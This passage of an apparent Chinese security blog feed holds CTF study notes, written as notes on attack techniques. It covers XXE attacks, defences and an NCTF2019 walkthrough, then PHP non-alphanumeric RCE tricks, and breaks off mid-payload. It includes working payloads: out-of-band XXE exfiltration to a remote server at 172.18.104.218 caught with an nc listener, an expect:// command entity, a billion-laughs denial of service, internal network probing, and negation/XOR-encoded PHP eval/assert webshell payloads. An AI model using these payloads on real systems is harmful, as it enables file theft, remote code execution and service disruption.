punctuation">(</span><span class="token variable">$_REQUEST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'xml'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// print_r($xml);</span><span class="token delimiter important">?></span></span></code></pre><p>这种情况就需要将数据发送到远程服务器(攻击服务器)</p><p><strong>payload</strong></p><p><strong>传入的xml</strong>    两种方式</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8" ?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">test</span><span class="token punctuation">[</span><span class="token internal-subset">&lt;!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/flag.txt">&lt;!ENTITY % dtd SYSTEM "http://172.18.104.218/xxe.dtd">%dtd;%send;</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>另一种方式<span class="token prolog">&lt;?xml version="1.0" encoding="utf-8" ?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">root</span><span class="token punctuation">[</span><span class="token internal-subset">&lt;!ENTITY % dtd SYSTEM "http://172.18.104.218/xxe.dtd">%dtd;</span><span class="token punctuation">]</span><span class="token punctuation">></span></span></code></pre><p><strong>远程服务器的xxe.dtd文件</strong>    两种方式</p><pre class="language-markup" data-language="markup"><code class="language-markup">&lt;!ENTITY % payload "&lt;!ENTITY <span class="token entity" title="&#37;">&amp;#37;</span> send SYSTEM 'http://172.18.104.218/?content=%file;'>">%payload;另一种方式：&lt;!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/flag.txt">&lt;!ENTITY % int "&lt;!ENTITY <span class="token entity" title="&#37;">&amp;#37;</span> send SYSTEM 'http://172.18.104.218:5000/?content=%file;'>">%int;%send;</code></pre><p>将xml进行url编码后传入</p><p>再查看远程服务器的apache日志文件</p><p><code>cat /var/log/apache2/access.log</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/XXE%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20200811104737190.png" alt loading="lazy"></p><p><code>nc -lvp 5000</code>  端口监听</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/XXE%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20200811111337248.png" alt loading="lazy"></p><p>解码后即是文件的内容</p><p>攻击流程</p><ul><li>先调用<code>%dtd</code>，请求远程服务器(攻击服务器)上的<code>evil.dtd</code>。</li><li>再调用 <code>evil.dtd</code>中的 <code>%file</code>。<code>%file</code> 获取受攻击的服务器上面的敏感文件，然后将 <code>%file</code> 的返回结果传到<code>%send</code> 。</li><li>然后调用 <code>%send;</code> 把读取到的数据发送到远程服务器上。</li></ul><h4 id="系统命令执行"><a href="#系统命令执行" class="headerlink" title="系统命令执行"></a>系统命令执行</h4><p>在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令。</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8"?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">xxe</span> <span class="token punctuation">[</span><span class="token internal-subset"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">name</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>&lt;!ENTITY xxe SYSTEM "expect://id" ></span><span class="token punctuation">]</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>root</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>name</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&xxe;">&amp;xxe;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>name</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>root</span><span class="token punctuation">></span></span></code></pre><p>通过XXE可以实现RCE的实例很少。</p><h4 id="拒绝服务攻击-Dos"><a href="#拒绝服务攻击-Dos" class="headerlink" title="拒绝服务攻击(Dos)"></a>拒绝服务攻击(Dos)</h4><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0"?></span>   <span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">lolz</span> <span class="token punctuation">[</span><span class="token internal-subset"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol</span> <span class="token attr-name">"lol"</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol2</span> <span class="token attr-name">"&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;"</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol3</span> <span class="token attr-name">"&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;"</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol4</span> <span class="token attr-name">"&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;"</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol5</span> <span class="token attr-name">"&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;"</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol6</span> <span class="token attr-name">"&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;"</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol7</span> <span class="token attr-name">"&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;"</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol8</span> <span class="token attr-name">"&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;"</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ENTITY</span> <span class="token attr-name">lol9</span> <span class="token attr-name">"&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;"</span><span class="token punctuation">></span></span></span><span class="token punctuation">]</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>lolz</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&lol9;">&amp;lol9;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>lolz</span><span class="token punctuation">></span></span></code></pre><p><strong>原理</strong>：递归引用,lol 实体具体还有 “lol” 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10 次 lol2 实体，此时一个 lol3 实体就含有 10^2 个 “lol” 了，以此类推，lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。</p><h4 id="探测内网端口"><a href="#探测内网端口" class="headerlink" title="探测内网端口"></a>探测内网端口</h4><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8"?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">xxe</span> <span class="token punctuation">[</span><span class="token internal-subset"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">name</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>&lt;!ENTITY xxe SYSTEM "http://127.0.0.1:80" ></span><span class="token punctuation">]</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>root</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>name</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&xxe;">&amp;xxe;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>name</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>root</span><span class="token punctuation">></span></span></code></pre><h3 id="漏洞防御"><a href="#漏洞防御" class="headerlink" title="漏洞防御"></a>漏洞防御</h3><p><strong>使用开发语言提供的禁用外部实体的方法</strong></p><p>php:</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token function">libxml_disable_entity_loader</span><span class="token punctuation">(</span><span class="token constant boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>java:</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token class-name">DocumentBuilderFactory</span> dbf <span class="token operator">=</span><span class="token class-name">DocumentBuilderFactory</span><span class="token punctuation">.</span><span class="token function">newInstance</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>dbf<span class="token punctuation">.</span><span class="token function">setExpandEntityReferences</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>Python:</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> lxml <span class="token keyword">import</span> etreexmlData <span class="token operator">=</span> etree<span class="token punctuation">.</span>parse<span class="token punctuation">(</span>xmlSource<span class="token punctuation">,</span>etree<span class="token punctuation">.</span>XMLParser<span class="token punctuation">(</span>resolve_entities<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre><p><strong>过滤用户提交的XML数据</strong></p><p>过滤关键字：<code>&lt;\!DOCTYPE</code>和<code>&lt;\!ENTITY</code>，或者<code>SYSTEM</code>和<code>PUBLIC</code>。</p><p><strong>不允许XML中含有自己定义的DTD</strong></p><h3 id="栗子"><a href="#栗子" class="headerlink" title="栗子"></a>栗子</h3><h4 id="NCTF2019-True-XML-cookbook"><a href="#NCTF2019-True-XML-cookbook" class="headerlink" title="[NCTF2019]True XML cookbook"></a>[NCTF2019]True XML cookbook</h4><p>界面：</p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/XXE学习笔记/image-20200817204320669.png" style="zoom:80%;" loading="lazy"><p>题目提示<code>xml</code>，推测是<code>xxe</code>，于是<code>login</code>抓包，发现提交<code>username</code>和<code>password</code>是以一个<code>xml</code>格式的数据提交的，如下：</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>user</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>username</span><span class="token punctuation">></span></span>admin<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>username</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>password</span><span class="token punctuation">></span></span>123456<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>password</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>user</span><span class="token punctuation">></span></span></code></pre><p>于是进行<code>xxe</code>注入测试：</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8"?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">xxe</span> <span class="token punctuation">[</span><span class="token internal-subset"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">name</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>&lt;!ENTITY file SYSTEM "file:///etc/passwd" ></span><span class="token punctuation">]</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>user</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>username</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&file;">&amp;file;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>username</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>password</span><span class="token punctuation">></span></span>aaa<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>password</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>user</span><span class="token punctuation">></span></span></code></pre><p>回显<code>/etc/passwd</code>的内容，存在<code>xxe</code>注入，尝试读取文件，得到<code>doLogin.php</code>的代码</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token comment">/*** autor: c0ny1* date: 2018-2-7*/</span><span class="token variable">$USERNAME</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'admin'</span><span class="token punctuation">;</span> <span class="token comment">//账号</span><span class="token variable">$PASSWORD</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'024b87931a03f738fff6693ce0a78c88'</span><span class="token punctuation">;</span> <span class="token comment">//密码</span><span class="token variable">$result</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span><span class="token function">libxml_disable_entity_loader</span><span class="token punctuation">(</span><span class="token constant boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$xmlfile</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'php://input'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">try</span><span class="token punctuation">&#123;</span><span class="token variable">$dom</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DOMDocument</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$dom</span><span class="token operator">-></span><span class="token function">loadXML</span><span class="token punctuation">(</span><span class="token variable">$xmlfile</span><span class="token punctuation">,</span> <span class="token class-name">LIBXML_NOENT</span> <span class="token operator">|</span> <span class="token class-name">LIBXML_DTDLOAD</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$creds</span> <span class="token operator">=</span> <span class="token function">simplexml_import_dom</span><span class="token punctuation">(</span><span class="token variable">$dom</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$username</span> <span class="token operator">=</span> <span class="token variable">$creds</span><span class="token operator">-></span><span class="token property">username</span><span class="token punctuation">;</span><span class="token variable">$password</span> <span class="token operator">=</span> <span class="token variable">$creds</span><span class="token operator">-></span><span class="token property">password</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$username</span> <span class="token operator">==</span> <span class="token variable">$USERNAME</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$password</span> <span class="token operator">==</span> <span class="token variable">$PASSWORD</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token variable">$result</span> <span class="token operator">=</span> <span class="token function">sprintf</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"&lt;result>&lt;code>%d&lt;/code>&lt;msg>%s&lt;/msg>&lt;/result>"</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token variable">$username</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span><span class="token variable">$result</span> <span class="token operator">=</span> <span class="token function">sprintf</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"&lt;result>&lt;code>%d&lt;/code>&lt;msg>%s&lt;/msg>&lt;/result>"</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token variable">$username</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">catch</span><span class="token punctuation">(</span><span class="token class-name">Exception</span> <span class="token variable">$e</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token variable">$result</span> <span class="token operator">=</span> <span class="token function">sprintf</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"&lt;result>&lt;code>%d&lt;/code>&lt;msg>%s&lt;/msg>&lt;/result>"</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token variable">$e</span><span class="token operator">-></span><span class="token function">getMessage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">header</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'Content-Type: text/html; charset=utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$result</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span></code></pre><p>测试读取<code>flag</code>，硬是没找到，无法命令执行，网上找了找<code>wp</code>，放心居然是内网探测，读取<code>/etc/hosts</code>的文件，读到本机<code>ip</code>地址<code>173.56.110.9</code>，于是探测子网：</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8"?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">xxe</span> <span class="token punctuation">[</span><span class="token internal-subset"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">name</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>&lt;!ENTITY file SYSTEM "http://173.56.110.11" ></span><span class="token punctuation">]</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>user</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>username</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&file;">&amp;file;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>username</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>password</span><span class="token punctuation">></span></span>aaa<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>password</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>user</span><span class="token punctuation">></span></span></code></pre><p><code>173.56.110.11</code>，返回flag</p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ul><li><a href="https://xz.aliyun.com/t/6887">从XML相关一步一步到XXE漏洞</a></li><li><a href="https://www.freebuf.com/column/211251.html">xPath注入学习之基础语法学习</a></li><li><a href="https://blog.blankshell.com/2020/06/09/xxe%e8%af%a6%e7%bb%86%e6%80%bb%e7%bb%93/">XXE知识总结</a></li><li><a href="http://www.suk1.top/2020/03/18/XXElearn/">XXE漏洞学习</a></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;span id=&quot;more&quot;&gt;&lt;/span&gt;

&lt;h3 id=&quot;XPath注入&quot;&gt;&lt;a href=&quot;#XPath注入&quot; class=&quot;headerlink&quot; title=&quot;XPath注入&quot;&gt;&lt;/a&gt;XPath注入&lt;/h3&gt;&lt;p&gt;XPath注入对象是一个存储数据的XML文件&lt;/p
      
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="xml" scheme="https://www.extrader.top/tags/xml/"/>
    
      <category term="xxe" scheme="https://www.extrader.top/tags/xxe/"/>
    
      <category term="xpath" scheme="https://www.extrader.top/tags/xpath/"/>
    
  </entry>
  
  <entry>
    <title>PHP无字母数字RCE</title>
    <link href="https://www.extrader.top/posts/a268445b/"/>
    <id>https://www.extrader.top/posts/a268445b/</id>
    <published>2020-08-09T04:22:50.000Z</published>
    <updated>2022-03-26T05:48:50.968Z</updated>
    
    <content type="html"><![CDATA[<p>CTF有时会碰到这种类型题，故在这里总结一下，日后有新的操作再补上</p><p><strong>利用条件</strong>：<code>eval($_GET[&#39;exp&#39;]);</code></p><p><strong>限制条件</strong>：<code>preg_match(&#39;[a-z0-9]/is&#39;, $exp)</code></p><span id="more"></span><p>测试代码如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/[a-z0-9]/is'</span><span class="token punctuation">,</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'exp'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'exp'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></code></pre><h3 id="取反"><a href="#取反" class="headerlink" title="取反"></a>取反</h3><p>php版本：PHP Version 7.2.24-0</p><p>exp</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">echo</span> <span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token operator">~</span><span class="token string single-quoted-string">'exp'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>payload</p><pre class="language-PHP" data-language="PHP"><code class="language-PHP">echo urlencode(~&#39;phpinfo&#39;); (~%8F%97%8F%96%91%99%90)();  &#x3D;&#x3D;&gt;  phpinfo();echo urlencode(~&#39;assert&#39;);echo urlencode(~&#39;(eval($_POST[&quot;a&quot;]))&#39;);(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2%D6%D6);  &#x3D;&#x3D;&gt;  assert(&#39;eval($_POST[&quot;a&quot;])&#39;)</code></pre><p>测试结果如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/PHP%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97RCE/image-20200809124140760.png" alt loading="lazy"></p><h3 id="异或"><a href="#异或" class="headerlink" title="异或"></a>异或</h3><p>php版本：PHP Version 7.2.24-0</p><p>exp</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token comment">// 跑出非字母数字异或得到的 $str</span><span class="token variable">$str</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'GET'</span><span class="token punctuation">;</span><span class="token variable">$exp1</span> <span class="token operator">=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span><span class="token variable">$exp2</span> <span class="token operator">=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token variable">$k</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$k</span> <span class="token operator">&lt;</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$k</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token variable">$flag</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">128</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">>=</span> <span class="token number">48</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$i</span> <span class="token operator">&lt;=</span> <span class="token number">57</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">>=</span> <span class="token number">65</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$i</span> <span class="token operator">&lt;=</span> <span class="token number">90</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">>=</span> <span class="token number">97</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$i</span> <span class="token operator">&lt;=</span> <span class="token number">122</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">continue</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token variable">$j</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$j</span> <span class="token operator">&lt;</span> <span class="token number">128</span><span class="token punctuation">;</span> <span class="token variable">$j</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$j</span> <span class="token operator">>=</span> <span class="token number">48</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$j</span> <span class="token operator">&lt;=</span> <span class="token number">57</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token variable">$j</span> <span class="token operator">>=</span> <span class="token number">65</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$j</span> <span class="token operator">&lt;=</span> <span class="token number">90</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token variable">$j</span> <span class="token operator">>=</span> <span class="token number">97</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$j</span> <span class="token operator">&lt;=</span> <span class="token number">122</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token keyword">continue</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$i</span><span class="token punctuation">)</span> <span class="token operator">^</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$j</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token variable">$str</span><span class="token punctuation">[</span><span class="token variable">$k</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token variable">$exp1</span> <span class="token operator">=</span> <span class="token variable">$exp1</span><span class="token operator">.</span><span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$i</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token variable">$exp2</span> <span class="token operator">=</span> <span class="token variable">$exp2</span><span class="token operator">.</span><span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$j</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token variable">$flag</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>                <span class="token keyword">break</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$flag</span> <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">echo</span> <span class="token variable">$exp1</span><span class="token operator">.</span><span class="token string single-quoted-string">'^'</span><span class="token operator">.</span><span class="token variable">$exp2</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">;</span></code></pre><p>payload</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token variable">$</span><span class="token punctuation">&#123;</span><span class="token operator">%</span>ff<span class="token operator">%</span>ff<span class="token operator">%</span>ff<span class="token operator">%</span>ff<span class="token operator">^</span><span class="token operator">%</span>a0<span class="token operator">%</span>b8<span class="token operator">%</span>ba<span class="token operator">%</span>ab<span class="token punctuation">&#125;</span><span class="token punctuation">&#123;</span><span class="token operator">%</span>ff<span class="token punctuation">&#125;</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">&amp;</span><span class="token operator">%</span>ff<span class="token operator">=</span>phpinfo<span class="token operator">==</span><span class="token operator">></span>  <span class="token function">phpinfo</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token variable">$</span><span class="token punctuation">&#123;</span><span class="token operator">%</span>fe<span class="token operator">%</span>fe<span class="token operator">%</span>fe<span class="token operator">%</span>fe<span class="token operator">^</span><span class="token operator">%</span>a1<span class="token operator">%</span>b9<span class="token operator">%</span>bb<span class="token operator">%</span>aa<span class="token 